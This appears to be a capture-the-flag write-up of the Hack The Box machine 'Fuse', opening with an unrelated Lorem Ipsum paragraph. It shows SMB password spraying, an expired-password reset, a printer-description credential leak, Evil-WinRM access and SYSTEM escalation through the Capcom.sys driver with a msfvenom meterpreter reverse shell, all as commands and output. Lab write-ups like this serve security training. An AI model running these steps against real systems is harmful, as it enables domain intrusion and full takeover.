“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@nidus:/git/htb# nmap -Pn -n fuse.htb PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49666/tcp open unknown 49667/tcp open unknown 49675/tcp open unknown 49676/tcp open unknown 49680/tcp open unknown 49698/tcp open unknown 49754/tcp open unknown


    • (CODE:200 SIZE:103)


    • Server: Microsoft-IIS/10.0
  2. Visiting the page forwards us to http://fuse.fabricorp.local/papercut/logs/html/index.htm, lets add that to /etc/hosts and refresh the page.

    We are now presented to PaperCut - Print Logger. There are logs from three dates; May 29th 17:50, User: pmerton, Document: New Starter - bnielson - Notepad 17:53, User: tlavel May 30th All prints are from user sthompson June 10th 17:40, User: bhult 19:18, User administrator

    From the logs we find 6 usernames, add them all to a list. From the document name we can guess that bnielson is a new employee. With a user-list we are able to look for password hashes with Impacket GetNPUsers, if Preauth is set - however in this case it is not. We are able to login with RPCCLIENT as anonymous, however we are unable to extract any information.

    As nothing seems to work, I went to cewl to create a custom word list and spray passwords on the SMB service. This didn’t work either, but I noticed cewl didn’t take any words from the logs. So I created my own wordlist, by hand, and tried spraying again

    • and voila!

    root@nidus:/git/htb/fuse# cat words.txt pmerton HP-MFT01 New Starter bnielson Notepad JUMP01 tlavel IT Budget Meeting Minutes LONWK015 sthompson backup_tapes mega_mountain_tape_request Fabricorp01 Word offsite_dr_invocation printing_issue_test invocation printing issue test

    msf5 > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set user_file users.txt msf5 auxiliary(scanner/smb/smb_login) > set pass_file words.txt msf5 auxiliary(scanner/smb/smb_login) > set smbdomain fabricorp.local msf5 auxiliary(scanner/smb/smb_login) > set rhosts msf5 auxiliary(scanner/smb/smb_login) > run

    [*] - - Starting SMB login bruteforce .. [+] - - Success: ‘fabricorp.local\bnielson:Fabricorp01’ [+] - - Success: ‘fabricorp.local\tlavel:Fabricorp01’ [+] - - Success: ‘fabricorp.local\bhult:Fabricorp01’

  3. This is where things got tricky.. we have 3 sets of creds but I seems we can’t use them for anything good. So back to enumeration, this time more thorough.

    SMBCLIENT: root@nidus:/git/htb/fuse# smbclient -L -U bnielson session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE root@nidus:/git/htb/fuse# smbclient -L -U tlavel session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE root@nidus:/git/htb/fuse# smbclient -L -U bhult session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE

    RPCCLIENT: root@nidus:/git/htb/fuse# rpcclient -U bnielson Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE root@nidus:/git/htb/fuse# rpcclient -U tlavel Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE root@nidus:/git/htb/fuse# rpcclient -U bhult Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE

    Evil-WinRM - Nope. Impacket-secretsdump - Nope, not possible that either..

    After a lot of enumeration and random attempts to find something, I finally managed to move on by changing the user password with smbpasswd. The password change is very brief and rolled back after about a minute, so you have to be quick enumerating once changed.

    root@nidus:/git/htb/fuse# smbpasswd -r -U bnielson Old SMB password: New SMB password: Retype new SMB password: Password changed for user bnielson on

    At first I went through SMB, there are some shares but nothing of use, so I went back to RPCCLIENT. We are able to extract more data, and a hidden password in the printer description (!!)

    rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[svc-print] rid:[0x450] user:[bnielson] rid:[0x451] user:[sthompson] rid:[0x641] user:[tlavel] rid:[0x642] user:[pmerton] rid:[0x643] user:[svc-scan] rid:[0x645] user:[bhult] rid:[0x1bbd] user:[dandrews] rid:[0x1bbe] user:[mberbatov] rid:[0x1db1] user:[astein] rid:[0x1db2] user:[dmuir] rid:[0x1db3]

    rpcclient $> enumprinters flags:[0x800000] name:[\\HP-MFT01] description:[\\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] comment:[]

  4. Add the new users to your list and try to spray again towards SMB and WinRM.

    SMB doesn’t work, and neither do the msf-module winrm_login. However I’ve previously built a dirty Evil-WinRM login script that did give us access.

    root@nidus:/git/htb/fuse# ./evil-login.sh creds.txt Testing credentials ‘svc-print:$fab@s3Rv1ce$1

    Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint

    Evil-WinRM PS C:\Users\svc-print\Documents> whoami fabricorp\svc-print Evil-WinRM PS C:\Users\svc-print\Documents> type ../Desktop/user.txt 47863580fe3b92e48cf8363d4756743f


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  1. Standard enumeration shows us that the user has some unusual privileges, googling about them we find one can be used for privesc.

    Evil-WinRM PS C:\Users\svc-print\Documents> whoami /all



    Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

    One page tells us: “SeLoadDriverPrivilege - A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka NT\System”

  2. We can exploit this using the PoC “EoPLoadDriver” in combination with the malicious “ExploitCapcom”, both found on Github.

    FIRST: - Download https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys - Download https://raw.githubusercontent.com/TarlogicSecurity/EoPLoadDriver/master/eoploaddriver.cpp - Download https://github.com/tandasat/ExploitCapcom - Edit ExploitCapcom.cpp line 292 TCHAR CommandLine[] = TEXT(“C:\Windows\system32\cmd.exe”); to TCHAR CommandLine[] = TEXT(“C:\temp\p3-rev.exe”); then compile ExploitCapcom.cpp and eoploaddriver.cpp to .exe (I did not succeed to do this in Kali, did it in Windows using Visual Studio 2019)

     1>------ Build started: Project: ExploitCapcom, Configuration: Debug x64 ------
     1>ExploitCapcom.vcxproj -> C:\Users\PlayerThree\Downloads\ExploitCapcom-master\ExploitCapcom\x64\Debug\ExploitCapcom.exe
     1>ExploitCapcom.vcxproj -> C:\Users\PlayerThree\Downloads\ExploitCapcom-master\ExploitCapcom\x64\Debug\ExploitCapcom.pdb (Full PDB)
     ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
     1>------ Build started: Project: EOPLOADDRIVER, Configuration: Debug Win32 ------
     1>EOPLOADDRIVER.vcxproj -> C:\Users\PlayerThree\source\repos\EOPLOADDRIVER\Debug\EOPLOADDRIVER.exe
     ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

    SECOND: - msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > msf-rev.exe - Upload all the files; – Invoke-WebRequest -Uri “” -Outfile “Capcom.sys” – Invoke-WebRequest -Uri “” -Outfile “EOPLOADDRIVER.exe” – Invoke-WebRequest -Uri “” -Outfile “msf-rev.exe” – Invoke-WebRequest -Uri “” -Outfile “p3-rev.exe”

    Evil-WinRM PS C:\temp> dir

    Mode LastWriteTime Length Name —- ————- —— —- -a—- 9/9/2020 11:45 AM 10576 Capcom.sys -a—- 9/9/2020 11:56 AM 15360 EOPLOADDRIVER.exe -a—- 9/9/2020 12:04 PM 1807360 msf-rev.exe -a—- 9/9/2020 12:02 PM 73802 p3-rev.exe

    NOTE: I changed name of ExploitCapcom.exe to msf-rev.exe.

  3. Execute your payload and grab root.txt

    .\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\Capcom.sys .\msf-rev.exe

    msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost msf5 exploit(multi/handler) > set lport 4488 msf5 exploit(multi/handler) > run

    [] Started reverse TCP handler on [] Sending stage (176195 bytes) to [*] Meterpreter session 1 opened ( -> at 2020-09-09 22:46:22 +0200

    meterpreter > shell Process 2464 created. Channel 1 created. Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.

    C:\temp>whoami whoami nt authority\system

    C:\temp>type C:\Users\Administrator\Desktop\root.txt 5ff71b93d969feae3416be2294f948fe


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smbpasswd https://www.samba.org/samba/docs/current/man-html/smbpasswd.8.html

Capcom Privesc https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges https://github.com/TarlogicSecurity/EoPLoadDriver/ https://github.com/tandasat/ExploitCapcom/tree/master/ExploitCapcom/ExploitCapcom https://red-team.ir/tips-and-tricks